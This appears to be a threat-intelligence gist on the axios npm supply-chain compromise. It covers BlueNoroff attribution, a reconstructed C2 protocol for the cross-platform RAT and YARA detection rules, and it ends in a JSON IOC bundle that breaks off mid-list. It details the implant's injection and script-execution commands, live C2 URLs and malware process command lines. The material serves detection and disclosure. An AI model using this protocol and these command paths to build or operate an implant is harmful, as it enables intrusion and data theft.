Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Last active April 13, 2026 17:21
Show Gist options
  • Select an option

  • Save N3mes1s/0c0fc7a0c23cdb5e1c8f66b208053ed6 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/0c0fc7a0c23cdb5e1c8f66b208053ed6 to your computer and use it in GitHub Desktop.
Axios npm Supply Chain Compromise (2026-03-31) — Full RE + Dynamic Analysis + BlueNoroff Attribution | 17 SHA256 | YARA/Sigma/Suricata rules | Live peinject validation on Daytona

Axios npm Supply Chain Compromise — Full Analysis Package

Date: 2026-03-31 | Attribution: BlueNoroff / Lazarus Group (HIGH confidence) Attack: Maintainer account hijacked, cross-platform RAT deployed via axios@1.14.1 and axios@0.30.4

What happened

On March 30-31, 2026, the npm package axios (~83M weekly downloads) was compromised through a maintainer account hijack. Two malicious versions injected plain-crypto-js@4.2.1, an obfuscated dropper that deploys platform-specific RATs (Windows PowerShell, macOS Mach-O C++, Linux Python). The macOS RAT is classified as NukeSped (Lazarus-exclusive). The internal project name macWebT links directly to BlueNoroff's documented RustBucket webT module from 2023.

File Index

File Description
Axios_Supply_Chain_Report_VERIFIED.md Full threat intelligence report — timeline, IOCs, attribution, detection recommendations. All hashes VT-verified.
Dropped_Payloads_Analysis.md Complete reverse engineering of all 5 payloads (full source recovered). radare2 disassembly of macOS Mach-O. setup.js deobfuscation. Memory dump analysis. Live dynamic analysis on Daytona Windows sandbox with peinject mechanism validation.
axios_bluenoroff_attribution.md BlueNoroff/RustBucket attribution evidence: webTmacWebT naming lineage, identical User-Agent across 3 years, Hostwinds AS54290 infrastructure overlap, 9 confirmed Lazarus IPs on same ASN.
axios_c2_protocol.md Complete C2 protocol specification reconstructed from source code. JSON schemas, state machine, platform comparison table. Validated live against running RAT.
extension_subroutine_research.md Research on the Extension.SubRoutine.Run2() .NET injection DLL — zero public references, completely novel. Closest match: BlueCrab/REvil [Mode]::Setup().
axios_vulnerability_analysis.md 20+ exploitable bugs across all platforms. Kill switches via DNS sinkhole + MitM. Vaccination techniques.
axios_campaign_yara.yar 8 YARA detection rules — tested against all 5 samples in isolated Lima VM, 100% detection rate.
axios_sigma_rules.yml 8 Sigma detection rules for Windows, macOS, and Linux.
axios_suricata.rules 11 Suricata/Snort IDS rules including Base64 beacon pattern matching.
axios_iocs_machine_readable.json Machine-readable IOC bundle: 18 SHA256 hashes, 2 confirmed domains, network indicators, MITRE ATT&CK mapping, detection timeline, Snyk advisory IDs.

Key Novel Findings

  • macWebT = webT evolution — project codename links to BlueNoroff's 2023 RustBucket macOS malware
  • Extension.SubRoutine.Run2() — undocumented .NET process injection DLL, zero public references
  • callnrwise.com — second C2 domain on same IP, name references attacker npm account nrwise
  • Linux RAT peinject is brokenb64_string undefined at line 156, binary injection crashes
  • Live peinject validation — test DLL loaded via Assembly.Load(), Run2() invoked with cmd.exe target, confirmed on Daytona Windows sandbox
  • Microsoft tracking as Backdoor:Mac/Axios.A — dedicated detection family created

Analysis Methods

  • VirusTotal API (vt-cli) hash verification and monitoring
  • radare2 reverse engineering of macOS Mach-O binary (ARM64)
  • Node.js deobfuscation of setup.js XOR cipher in Lima VM
  • Zenbox sandbox memory dump analysis (47MB, 1435 files, 67 PEs extracted)
  • macOS sandbox PCAP analysis (tshark)
  • Live RAT execution on Daytona Windows Server 2022 sandbox
  • Fake C2 server (PowerShell HttpListener) capturing beacons + sending commands
  • Infrastructure pivoting via VT domain resolutions
  • OSINT across 15+ security vendor reports

Detection Trajectory (6 hours monitoring)

Sample Initial Final AV Families Created
macOS RAT 8/76 15/76 Backdoor:Mac/Axios.A (Microsoft), ReiiYuki (Qihoo360)
Windows Stage 2 12/76 17/76
Linux RAT 0/76 2/76 Trojan.Python.Agent (Kaspersky), Python.Backdoor.Agent.Gkjl (Avira)

BlueNoroff/RustBucket Attribution — CONFIRMED CONNECTION

Date: 2026-03-31 | Confidence: HIGH Finding: The axios macOS RAT project name macWebT is a direct descendant of BlueNoroff's documented webT malware module from RustBucket (2023). Same User-Agent, same beacon interval, same Hostwinds infrastructure.


1. The webT → macWebT Naming Lineage

RustBucket Stage 3 (2023) — SentinelOne Research

  • Module: webT with methods webT::getinfo + WebT::send_request
  • Build path: /Users/carey/Dev/MAC_DATA/MAC/Trojan/webT/target/x86_64-apple-darwin/release/
  • Note: Developer explicitly organized it under Trojan/webT/

Hidden Risk (2024) — SentinelOne Research

  • Function: DoPost via libcurl (functional equivalent of webT::send_request)
  • Same IE8 User-Agent string
  • 60-second beacon interval
  • Hostwinds infrastructure

Axios macOS RAT (2026) — This Analysis

  • Xcode project: macWebT = "mac" + "WebT"
  • Build path: /Users/mac/Desktop/Jain_DEV/client_mac/macWebT/macWebT/
  • Function: Report() via libcurl (same pattern as DoPost/webT::send_request)
EVOLUTION:
  2023  webT::send_request  (Rust)     → RustBucket
  2024  DoPost              (C++/curl) → Hidden Risk
  2026  Report              (C++/curl) → Axios RAT (project: macWebT)

"webT" has NEVER appeared in any campaign outside BlueNoroff. It is a unique internal codename.


2. Identical User-Agent Across All Campaigns

mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
Campaign Year Component Confirmed
RustBucket Stage 3 2023 sym.updator::send_request SentinelOne, Elastic
Hidden Risk 2024 DoPost via libcurl SentinelOne
Axios macOS RAT 2026 Report() via libcurl radare2 RE
Axios Windows RAT 2026 PowerShell WebClient.Headers Source code
Axios Linux RAT 2026 Python http.client headers Source code

This IE8/Windows XP User-Agent on macOS is a cross-campaign fingerprint used by BlueNoroff for at least 3 years.


3. Hostwinds AS54290 — Persistent BlueNoroff Infrastructure

9 confirmed BlueNoroff/Lazarus IPs on Hostwinds:

IP Campaign Year Source
142.11.206.73 Axios C2 (sfrclak.com) 2026 This analysis
142.11.209.109 Lazarus infrastructure 2025 Hunt.io cert hwc-hwp-7779700
142.11.209.144 KandyKorn/RustBucket 2023 SentinelOne
142.11.212.104 BlueNoroff (aulis.ventures) 2025 DarkAtlas
23.254.226.90 KandyKorn C2 (port 44) 2023 SentinelOne
23.254.253.75 Hidden Risk 2024 SentinelOne
23.254.128.114 Lazarus C2 2025 Hunt.io
104.168.214.151 ObjCShellz (swissborg.blog) 2023 Jamf
104.168.167.88 RustBucket C2 2023 Elastic

The axios C2 (142.11.206.73) is in the same /18 netblock (142.11.192.0/18) as 3 other confirmed Lazarus IPs.

SentinelOne's Hidden Risk report: "Virtual server hosting services such as Quickpacket, Routerhosting, Hostwinds, and others are the most commonly used" by BlueNoroff.


4. Developer Persona Rotation

Username Campaign Year
carey RustBucket Stage 2 & 3 2023
eric RustBucket Stage 2 2023
henrypatel RustBucket Stage 2 2023
hero RustBucket Stage 2 2023
tritium Operation In(ter)ception 2022
dominic, chris, pooh Later BlueNoroff campaigns 2024
mac / Jain_DEV Axios macOS RAT 2026

5. Complete BlueNoroff macOS Campaign Timeline

Date Campaign Key Development
Dec 2022 RustBucket discovery Rust+Obj-C malware, webT module, PDF lures
Apr 2023 RustBucket disclosure (Jamf) Public reporting
Jun 2023 RustBucket Variant 3 (Elastic) First persistence via LaunchAgent
Oct 2023 KandyKorn (Elastic) C++ RAT targeting blockchain engineers
Nov 2023 RustBucket+KandyKorn merge SwiftLoader droppers deliver KandyKorn
Nov 2023 ObjCShellz (Jamf) Simplified shell on Hostwinds
Jul 2024 Hidden Risk begins zshenv persistence, same IE8 UA, Hostwinds
Oct 2024 Hidden Risk disclosure (SentinelOne) DoPost via libcurl = webT evolution
Feb 2026 Lazarus npm campaign (BeaverTail) 11 malicious npm packages
Mar 31, 2026 Axios supply chain macWebT project, libcurl Report(), same UA, Hostwinds

6. Capability Comparison

Attribute RustBucket webT (2023) Hidden Risk (2024) Axios macWebT (2026)
Project name webT N/A macWebT
Language Rust C++ C++
C2 library Rust HTTP libcurl libcurl
User-Agent IE8/WinXP IE8/WinXP IE8/WinXP
Beacon Response-driven 60 seconds 60 seconds
Architecture Universal Mach-O Universal Mach-O Universal Mach-O
Code signing Ad-hoc Notarized (hijacked dev ID) Ad-hoc
VM detection YES (SPHardwareDataType) Unknown NO
Commands Payload + terminate SaveAndExec + terminate kill, peinject, runscript, rundir
JSON library Rust serde Unknown nlohmann v3.11.3
Hosting Hostwinds Hostwinds Hostwinds

7. RustBucket IOCs (for cross-reference)

C2 Domains

  • cloud[.]dnx.capital
  • crypto.hondchain[.]com
  • deck[.]31ventures[.]info
  • webhostwatto.work[.]gd
  • starbucls[.]xyz
  • jaicvc[.]com
  • docsend.linkpc[.]net

File Paths

  • $TMPDIR/ErrorCheck.zip
  • /Users/Shared/Internal PDF Viewer.app
  • ~/Library/Metadata/System Update
  • ~/Library/LaunchAgents/com.apple.systemupdate.plist

8. Attribution Verdict

BlueNoroff (Lazarus subgroup / DPRK) — HIGH confidence.

The combination of:

  1. webTmacWebT internal codename continuity (unique to BlueNoroff)
  2. Character-for-character identical User-Agent across 3 years
  3. Same libcurl C2 pattern (POST, 60s beacon, Base64 JSON)
  4. Same Hostwinds AS54290 infrastructure (same /18 netblock)
  5. NukeSped AV classification (Lazarus-exclusive)
  6. Developer persona rotation consistent with documented OPSEC

...provides strong, multi-layered attribution evidence linking the axios supply chain attack to BlueNoroff operations.


Sources:


9. Lazarus npm Operations Timeline (Pre-Axios)

Date Campaign Method Source
May 2025 Graphalgo wave 1 Fake recruiter "Veltrix Capital", LinkedIn/Reddit lures ReversingLabs
Sep 2025 npm chalk/debug compromise 18 packages, 2.6B weekly downloads, phishing Socket.dev
Dec 2025 BeaverTail new variant npm is-buffer/eslint/redux mimics, job interviews Darktrace
Feb 4, 2026 XPACK ATTACK HTTP 402 paywall trick, GitHub fingerprinting OpenSourceMalware
Feb 11, 2026 Graphalgo wave 2 bigmathutils v1.1.0 (10K+ downloads then weaponized) ReversingLabs
Mar 30-31, 2026 Axios compromise Maintainer hijack, NukeSped RAT, plain-crypto-js This analysis

47 days between last confirmed Lazarus npm operation and the axios attack — continuous operational tempo.

10. Additional Infrastructure Findings

Neighboring Hostwinds Servers

hwsrv-1320775 through 1320783 resolve to different /16 subnets (104.168.x, 192.236.x). Hostwinds does NOT assign sequential server IDs to the same subnet — no co-located infrastructure found.

com.apple.act.mond is Novel

Never seen in any prior campaign. Known BlueNoroff persistence labels:

  • com.apple.systemupdate (RustBucket 2023)
  • com.wifianalyticsagent (NukeSped 2019)
  • iTunes_trush (AppleJeus)
  • .zshrc modification (Hidden Risk 2024)

No Cross-Registry Attack

plain-crypto-js does NOT exist on PyPI, RubyGems, or crates.io. Attack was npm-only — consistent with targeted maintainer hijack vs broad typosquatting.

Jain_DEV is Build Artifact Only

Not found on npm, GitHub, or any package registry. The attacker used separate throwaway identities (nrwise, hijacked jasonsaayman) for publishing.

Axios RAT — C2 Protocol Specification (Reconstructed)

Date: 2026-03-31 | Source: Full source code analysis of all 3 RAT variants C2 Server: Express.js (confirmed via URLScan X-Powered-By: Express)

Transport Layer

Property Value
Protocol HTTP (cleartext, port 8000)
Method POST
Content-Type application/x-www-form-urlencoded
User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
Encoding JSON → UTF-8 → Base64 → POST body
Response Raw bytes (UTF-8 string on Windows, raw on Linux/macOS)
Beacon interval 60 seconds
Timeout 30 seconds (macOS libcurl), 60 seconds (Linux http.client)

Session Management

  • Session ID: 16-character random alphanumeric string
    • Windows: (48..57) + (65..90) + (97..122) | Get-Random -Count 16
    • Linux: secrets.choice(string.ascii_letters + string.digits) * 16
    • macOS: GenerateUID(char*, 16) — custom implementation
  • Generated once at RAT startup, persists for session lifetime
  • Passed as uid field in every message

Message Types (Client → Server)

1. FirstInfo (initial registration)

Sent once immediately after startup.

{
    "type": "FirstInfo",
    "uid": "<16-char-session-id>",
    "os": "windows_x64|windows_arm|linux_x64|linux_arm|darwin_x64|darwin_arm",
    "content": [
        {
            "id": "FirstReqDir-0",
            "parent": "/home/user/Documents",
            "childs": [
                {
                    "Name": "file.txt",
                    "IsDir": false,
                    "SizeBytes": 1234,
                    "Created": 1711900000,
                    "Modified": 1711900000,
                    "HasItems": false
                }
            ]
        }
    ]
}

Directories enumerated per platform:

Platform Directories
Windows %USERPROFILE%\Documents, Desktop, OneDrive, AppData\Roaming, all drive roots
Linux ~, ~/.config, ~/Documents, ~/Desktop
macOS ~/Library, ~/Documents, ~/Desktop (via InitDirInfo())

2. BaseInfo (beacon / heartbeat)

Sent every 60 seconds. First beacon includes full fingerprint; subsequent beacons send only currentTimeString.

First beacon:

{
    "type": "BaseInfo",
    "uid": "<session-id>",
    "data": {
        "hostname": "DESKTOP-ABC123",
        "username": "admin",
        "version": "Windows 10 Pro 64-bit 10.0.19045",
        "timezone": "(UTC-5 hours) Eastern Standard Time",
        "installDate": "2024-01-15 10:30:00",
        "bootTimeString": "Mon, 31 Mar 2026 00:15:00 GMT",
        "currentTimeString": "Mon, 31 Mar 2026 01:30:00 GMT",
        "modelName": "VMware Virtual Platform",
        "cpuType": "Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz",
        "os": "windows_x64",
        "processList": "4    0    System\n8    0    Registry\n..."
    }
}

Subsequent beacons (heartbeat):

{
    "type": "BaseInfo",
    "uid": "<session-id>",
    "data": {
        "currentTimeString": "Mon, 31 Mar 2026 01:31:00 GMT"
    }
}

Note: Linux sends full fingerprint on EVERY beacon (no $first flag optimization).

3. CmdResult (command response)

Sent after executing a command received from C2.

{
    "type": "CmdResult",
    "cmd": "rsp_peinject|rsp_runscript|rsp_rundir|rsp_kill",
    "cmdid": "<command-id-from-server>",
    "uid": "<session-id>",
    "status": "Wow|Zzz|success",
    "msg": "<output-or-error-message>"
}

Message Types (Server → Client)

Server response is the raw UTF-8 bytes of a JSON command. The client reads the response body directly from the HTTP response.

1. kill

{
    "type": "kill",
    "CmdID": "<unique-command-id>"
}

2. peinject (binary injection)

{
    "type": "peinject",
    "CmdID": "<unique-command-id>",
    "IjtDll": "<base64-encoded-.NET-DLL>",
    "IjtBin": "<base64-encoded-shellcode>",
    "Param": "<additional-parameters>"
}

Platform behavior:

Platform IjtDll Usage IjtBin Usage
Windows Loaded via Assembly.Load()Extension.SubRoutine.Run2() → process hollowing into cmd.exe Shellcode injected into hollow process
macOS N/A (uses IjtBin only) Decoded → written to /private/tmp/.<random>chmod 770codesignpopen()
Linux N/A (BUG: references undefined b64_string) Intended: decoded → written to /tmp/.<random>chmod 777Popen()

3. runscript (code execution)

{
    "type": "runscript",
    "CmdID": "<unique-command-id>",
    "Script": "<base64-encoded-script-or-empty>",
    "Param": "<command-line-or-parameters>"
}

Execution paths:

Condition Windows macOS Linux
Script empty powershell -NoProfile -ep Bypass $Param Shell command subprocess.run(Param, shell=True)
Script ≥ 10KB Write to %TEMP%\{GUID}.ps1, execute, delete Write to /tmp/.XXXXXX.scpt, osascript, delete python3 -c <decoded>
Script < 10KB Double-encode → -EncodedCommand Write to /tmp/.XXXXXX.scpt, osascript, delete python3 -c <decoded>

4. rundir (directory enumeration)

{
    "type": "rundir",
    "CmdID": "<unique-command-id>",
    "ReqPaths": [
        {"path": "/home/user/Documents", "id": "req-0"},
        {"path": "/etc", "id": "req-1"}
    ]
}

Response format:

{
    "type": "CmdResult",
    "cmd": "rsp_rundir",
    "cmdid": "<command-id>",
    "uid": "<session-id>",
    "msg": [
        {
            "id": "req-0",
            "parent": "/home/user/Documents",
            "childs": [
                {
                    "Name": "report.pdf",
                    "IsDir": false,
                    "SizeBytes": 52431,
                    "Created": 1711900000,
                    "Modified": 1711950000,
                    "HasItems": false
                }
            ]
        }
    ]
}

Status Codes

Code Meaning Used In
"Wow" Success peinject, runscript responses
"Zzz" Error (exception message in msg) peinject, runscript responses
"success" Kill acknowledged kill response only

Data Flow Diagram

CLIENT                                           SERVER (Express.js)
  |                                                 |
  |--- FirstInfo {uid, os, content:[dirs]} -------->|
  |                                                 |
  |--- BaseInfo {uid, data:{full fingerprint}} ---->| (first beacon)
  |<-- Command JSON (or empty) --------------------|
  |                                                 |
  |--- BaseInfo {uid, data:{currentTime}} --------->| (heartbeat, every 60s)
  |<-- Command JSON (or empty) --------------------|
  |                                                 |
  |--- CmdResult {cmd, cmdid, status, msg} -------->| (after command execution)
  |                                                 |
  |  [sleep 60 seconds]                             |
  |                                                 |
  |--- BaseInfo {uid, data:{currentTime}} --------->| (next heartbeat)
  |<-- Command JSON (or empty) --------------------|
  ...

Platform-Specific Fingerprint Fields

Field Windows Source Linux Source macOS Source
hostname $env:COMPUTERNAME /proc/sys/kernel/hostname sysctlbyname("kern.hostname")
username $env:USERNAME os.getlogin() getuid()getpwuid()
version Win32_OperatingSystem (WMI) platform.system() + platform.release() sysctlbyname("kern.osrelease")
timezone (Get-TimeZone).StandardName datetime.timezone.utc.astimezone().tzinfo strftime("%Z")
installDate Win32_OperatingSystem.InstallDate ctime of /var/log/installer ctime of /var/db/.AppleSetupDone
bootTime Win32_OperatingSystem.LastBootUpTime /proc/uptime sysctl(KERN_BOOTTIME)
modelName Win32_ComputerSystem.Model /sys/class/dmi/id/sys_vendor sysctlbyname("hw.model")
cpuType Win32_Processor.Name /sys/class/dmi/id/product_name sysctlbyname("machdep.cpu.brand_string")
processList Win32_Process (WMI) /proc/*/cmdline,stat,status ps -eo user,pid,command
os RuntimeInformation.OSArchitecture platform.machine() sysctlbyname("hw.machine")
/*
* Axios npm Supply Chain Compromise - YARA Detection Rules
* Date: 2026-03-31 | Version: 2
* Author: Automated Analysis (Claude Code)
* Reference: https://gist.github.com/N3mes1s/0c0fc7a0c23cdb5e1c8f66b208053ed6
* Tested against all 5 payloads in isolated Lima VM
*/
rule axios_dropper_setup_js {
meta:
description = "Axios supply chain - obfuscated setup.js dropper"
hash = "e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09"
date = "2026-03-31"
strings:
$xor = "OrDeR_7077"
$entry = "_entry"
$id = "6202033"
condition:
filesize < 10KB and $xor and $entry and $id
}
rule axios_win_stage1 {
meta:
description = "Axios supply chain - Windows download cradle (system.bat)"
hash = "f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd"
date = "2026-03-31"
strings:
$cradle = "scriptblock]::Create"
$post = "packages.npm.org/product1"
condition:
filesize < 500 and $cradle and $post
}
rule axios_win_ps_rat {
meta:
description = "Axios supply chain - Windows PowerShell RAT"
hash = "617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101"
date = "2026-03-31"
strings:
$class = "Extension.SubRoutine"
$var1 = "$rotjni"
$var2 = "$daolyap"
$rsp1 = "rsp_peinject"
$rsp2 = "rsp_runscript"
$rsp3 = "rsp_rundir"
$rsp4 = "rsp_kill"
condition:
$class or ($var1 and $var2) or (3 of ($rsp*))
}
rule axios_macos_nukesped {
meta:
description = "Axios supply chain - macOS NukeSped RAT"
hash = "92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a"
date = "2026-03-31"
strings:
$mz = { CA FE BA BE }
$build = "Jain_DEV"
$project = "macWebT"
$drop = "/private/tmp/.%s"
$codesign = "codesign --force --deep --sign"
$rsp1 = "rsp_peinject"
$rsp2 = "rsp_runscript"
condition:
$mz at 0 and ($build or $project or ($drop and $codesign) or ($rsp1 and $rsp2))
}
rule axios_linux_python_rat {
meta:
description = "Axios supply chain - Linux Python RAT (ld.py)"
hash = "fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf"
date = "2026-03-31"
strings:
$fn1 = "do_action_ijt"
$fn2 = "do_action_scpt"
$fn3 = "do_action_dir"
$rsp1 = "rsp_peinject"
$rsp2 = "rsp_runscript"
$rsp3 = "rsp_rundir"
condition:
($fn1 and $fn2 and $fn3) or (3 of ($rsp*))
}
rule axios_rat_generic {
meta:
description = "Generic detection for any axios supply chain RAT"
date = "2026-03-31"
strings:
$ua = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
$b1 = "FirstInfo"
$b2 = "BaseInfo"
$b3 = "CmdResult"
$r1 = "rsp_peinject"
$r2 = "rsp_runscript"
$r3 = "rsp_rundir"
condition:
($ua and 2 of ($b*)) or (3 of ($r*))
}
rule axios_c2_indicators {
meta:
description = "Axios supply chain C2 network indicators"
date = "2026-03-31"
strings:
$c2 = "sfrclak.com"
$path = "/6202033"
$p0 = "packages.npm.org/product0"
$p1 = "packages.npm.org/product1"
$p2 = "packages.npm.org/product2"
condition:
$c2 or ($path and any of ($p*)) or (2 of ($p*))
}
rule axios_injector_dll {
meta:
description = "Extension.SubRoutine .NET injection DLL (DLL not recovered)"
date = "2026-03-31"
strings:
$mz = { 4D 5A }
$class = "Extension.SubRoutine" wide
$method = "Run2" wide
condition:
$mz at 0 and $class and $method
}
{
"title": "Axios npm Supply Chain Compromise - Machine-Readable IOCs",
"date": "2026-03-31",
"last_updated": "2026-03-31T19:45:00Z",
"tlp": "clear",
"description": "Complete IOC set from the axios npm supply chain attack (March 30-31, 2026)",
"file_hashes": {
"sha256": {
"setup_js_dropper": "e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09",
"win_stage1_bat": "f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd",
"win_stage2_ps_rat": "617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101",
"win_persist_bat": "e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff",
"macos_rat": "92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a",
"macos_rat_x86_64": "506690fcbd10fbe6f2b85b49a1fffa9d984c376c25ef6b73f764f670e932cab4",
"macos_rat_arm64": "4465bdeaddc8c049a67a3d5ec105b2f07dae72fa080166e51b8f487516eb8d07",
"linux_rat_ld_py": "fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf",
"plain_crypto_js_tgz": "58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668",
"axios_1_14_1_tgz": "5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd",
"axios_0_30_4_tgz": "59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f",
"shellcode_primary": "a224dd73b7ed33e0bf6a2ea340c8f8859dfa9ec5736afa8baea6225bf066b248",
"shellcode_stager": "5e2ab672c3f98f21925bd26d9a9bba036b67d84fde0dfdbe2cf9b85b170cab71",
"shellcode_trampoline": "20df0909a3a0ef26d74ae139763a380e49f77207aa1108d4640d8b6f14cab8ca",
"macos_rat_variant2": "5b5fbc627502c5797d97b206b6dcf537889e6bea6d4e81a835e103e311690e22",
"macos_rat_x86_64_localfile": "506690fcbd10fbe6f2b85b49a1fffa9d984c376c25ef6b73f764f670e932cab4",
"macos_rat_arm64_localfile": "4465bdeaddc8c049a67a3d5ec105b2f07dae72fa080166e51b8f487516eb8d07",
"macos_rat_v3_stripped_sig": "9c64f1c7eba080b4e5ff17369ddcd00b9fe2d47dacdc61444b4cbfebb23a166c"
},
"sha1": {
"axios_1_14_1": "2553649f2322049666871cea80a5d0d6adc700ca",
"axios_0_30_4": "d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71",
"plain_crypto_js_4_2_1": "07d889e2dadce6f3910dcbc253317d28ca61c766",
"axios_1_14_0_safe": "7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb"
},
"md5": {
"setup_js": "7658962ae060a222c0058cd4e979bfa1",
"win_stage1": "089e2872016f75a5223b5e02c184dfec",
"win_stage2": "04e3073b3cd5c5bfcde6f575ecf6e8c1",
"macos_rat": "7a9ddef00f69477b96252ca234fcbeeb",
"linux_rat": "9663665850cdd8fe12e30a671e5c4e6f",
"plain_crypto_tgz": "db7f4c82c732e8b107492cae419740ab"
}
},
"network": {
"domains": [
"sfrclak.com",
"callnrwise.com"
],
"ips": [
"142.11.206.73"
],
"urls": [
"http://sfrclak.com:8000/6202033",
"http://sfrclak.com:8000/packages.npm.org/product0",
"http://sfrclak.com:8000/packages.npm.org/product1",
"http://sfrclak.com:8000/packages.npm.org/product2"
],
"ports": [
8000
],
"user_agent": "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)",
"jarm": "28d28d28d00028d00028d28d28d28d96d86b34e11c2d3d5508f7111adf9d91",
"ja3": [
"656b9a2f4de6ed4909e157482860ab3d",
"1d9437ff1aa1e958ed34a0fb0313f206",
"773906b0efdefa24a7f2b8eb6985bf37"
],
"asn": "AS54290",
"hosting": "Hostwinds LLC",
"rdns": "hwsrv-1320779.hostwindsdns.com",
"registrar": "Namecheap Inc",
"domain_details": {
"sfrclak.com": {
"role": "Active C2",
"registrar": "Namecheap",
"created": "2026-03-30T16:03:46Z",
"ip": "142.11.206.73",
"confidence": "CONFIRMED"
},
"callnrwise.com": {
"role": "Backup C2 (same IP)",
"registrar": "Dynadot",
"created": "2026-03-30T15:10:58Z",
"ip": "142.11.206.73",
"confidence": "CONFIRMED (same IP, name references npm account nrwise)"
}
},
"unconfirmed_domains": {
"nrwise.com": "UNCONFIRMED - Namecheap WHOIS privacy hashes are shared across ALL customers, NOT per-registrant. No IP overlap. Link is circumstantial (name only).",
"macchimpit.rest": "RETRACTED - Registrant hash match is meaningless (shared Namecheap privacy placeholder). Same CF NS pair is the only link but insufficient alone.",
"orangrappa.rest": "RETRACTED - Same as macchimpit.rest."
}
},
"host_indicators": {
"file_paths": {
"all_platforms": [
"node_modules/plain-crypto-js/setup.js"
],
"windows": [
"C:\\ProgramData\\system.bat",
"C:\\ProgramData\\wt.exe",
"%TEMP%\\6202033.vbs",
"%TEMP%\\6202033.ps1"
],
"macos": [
"/Library/Caches/com.apple.act.mond"
],
"linux": [
"/tmp/ld.py"
]
},
"registry_keys": {
"windows": [
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MicrosoftUpdate"
]
},
"process_indicators": [
"com.apple.act.mond",
"nohup python3 /tmp/ld.py",
"C:\\ProgramData\\wt.exe -w hidden -ep bypass"
]
},
"npm_packages": {
"compromised": [
{
"name": "axios",
"version": "1.14.1"
},
{
"name": "axios",
"version": "0.30.4"
}
],
"malicious": [
{
"name": "plain-crypto-js",
"version": "4.2.1"
},
{
"name": "plain-crypto-js",
"version": "4.2.0",
"note": "clean decoy"
}
],
"redistributing": [
{
"name": "@shadanai/openclaw",
"versions": [
"2026.3.28-2",
"2026.3.28-3",
"2026.3.31-1",
"2026.3.31-2"
]
},
{
"name": "@qqbrowser/openclaw-qbot",
"version": "0.0.130"
}
]
},
"attacker_accounts": {
"confirmed": [
{
"platform": "npm+github",
"username": "jasonsaayman",
"email": "ifstap@proton.me",
"type": "hijacked",
"note": "npm AND GitHub access confirmed compromised. Issue #10590 deleted."
},
{
"platform": "npm",
"username": "nrwise",
"email": "nrwise@proton.me",
"type": "created_by_attacker",
"status": "suspended"
}
],
"downstream_victims_not_attackers": [
{
"platform": "npm",
"username": "shadanai",
"note": "Likely downstream victim. Vendored node_modules contained compromised axios. Later versions are clean."
},
{
"platform": "npm",
"username": "qqbrowser.dev",
"note": "Likely downstream victim. Same pattern \u2014 vendored compromised axios during 3h window. Cleaned up in later versions."
}
]
},
"binary_metadata": {
"macos_build_path": "/Users/mac/Desktop/Jain_DEV/client_mac/macWebT/macWebT/",
"macos_xcode_hash": "macWebT-hlbytmqtodqtmmfrlgcunsjzzmop",
"macos_uuid": "c848257813983360905d7ad0f7e5e3f5",
"macos_min_os": "11.5.0",
"macos_sdk": "26.2.0",
"macos_linker": "1230.1.0",
"xor_key": "OrDeR_7077",
"campaign_id": "6202033",
"dotnet_class": "Extension.SubRoutine",
"dotnet_method": "Run2"
},
"fuzzy_hashes": {
"setup_js_ssdeep": "96:V0BwY31H/x2Nov7NMUtjlNU0kCsSuckO6Jg5yD8pm:V07H/x2NSBNxjl4S9t5yopm",
"macos_rat_ssdeep": "6144:xjazCtUlrLxJnzsOOAx2Y+AktJgRESAtxVZS63vYdCzsbAkuNjepym:xjazCtyJcYKgRESAT93AdUjepym",
"macos_rat_vhash": "5888402d25bc5f77c7c3d92ca5d30997",
"win_stage2_ssdeep": "192:b9u9gG89mD+SOzuahCnGX1pybp0j5PWFmFBiMluIY26qb7cTOXAWumPTvCfuYRNI:b4KG8MwzuaEnGDPWFsBiM9Yy/LCfj7H6",
"linux_rat_ssdeep": "192:V+OTSQFF3MjzSCII7s32HaYo5uuFe0+60U2WICd/tPQTnd/Y+cLL2dPj47Hp79Bb:V+OTJRCII7sRdI8mT+IkUAsQ"
},
"mitre_attack": [
"T1195.002",
"T1059.001",
"T1059.002",
"T1059.005",
"T1059.006",
"T1059.007",
"T1547.001",
"T1543.004",
"T1036",
"T1036.001",
"T1553.002",
"T1140",
"T1027",
"T1564.003",
"T1070.004",
"T1082",
"T1057",
"T1083",
"T1033",
"T1005",
"T1071.001",
"T1573.002",
"T1105",
"T1041",
"T1055.001",
"T1497"
],
"related_campaigns": {
"deceptive_development": {
"sha256_chromepatch_drhost": "60bdadd7c86d4f48ab01d3dc75efd8b627b15b92b3c908d86e37bec26214e94d",
"sha256_localfile_x64": "c73dcb19eafcc69d64c69925fef2cacf806c81d383f7f5bb391a281f7121eca7",
"sha256_localfile_arm64": "6f8f5d52680c8d71b4df33456c6836f5915de7c2c4b2e4ffde821f064862111f",
"note": "NukeSped/stealer tagged as deceptivedevelopment, first seen 13 days before axios attack"
}
},
"attribution": {
"primary": "BlueNoroff (Lazarus subgroup / DPRK)",
"confidence": "HIGH",
"evidence": [
"macWebT project name matches BlueNoroff RustBucket webT module (SentinelOne 2023)",
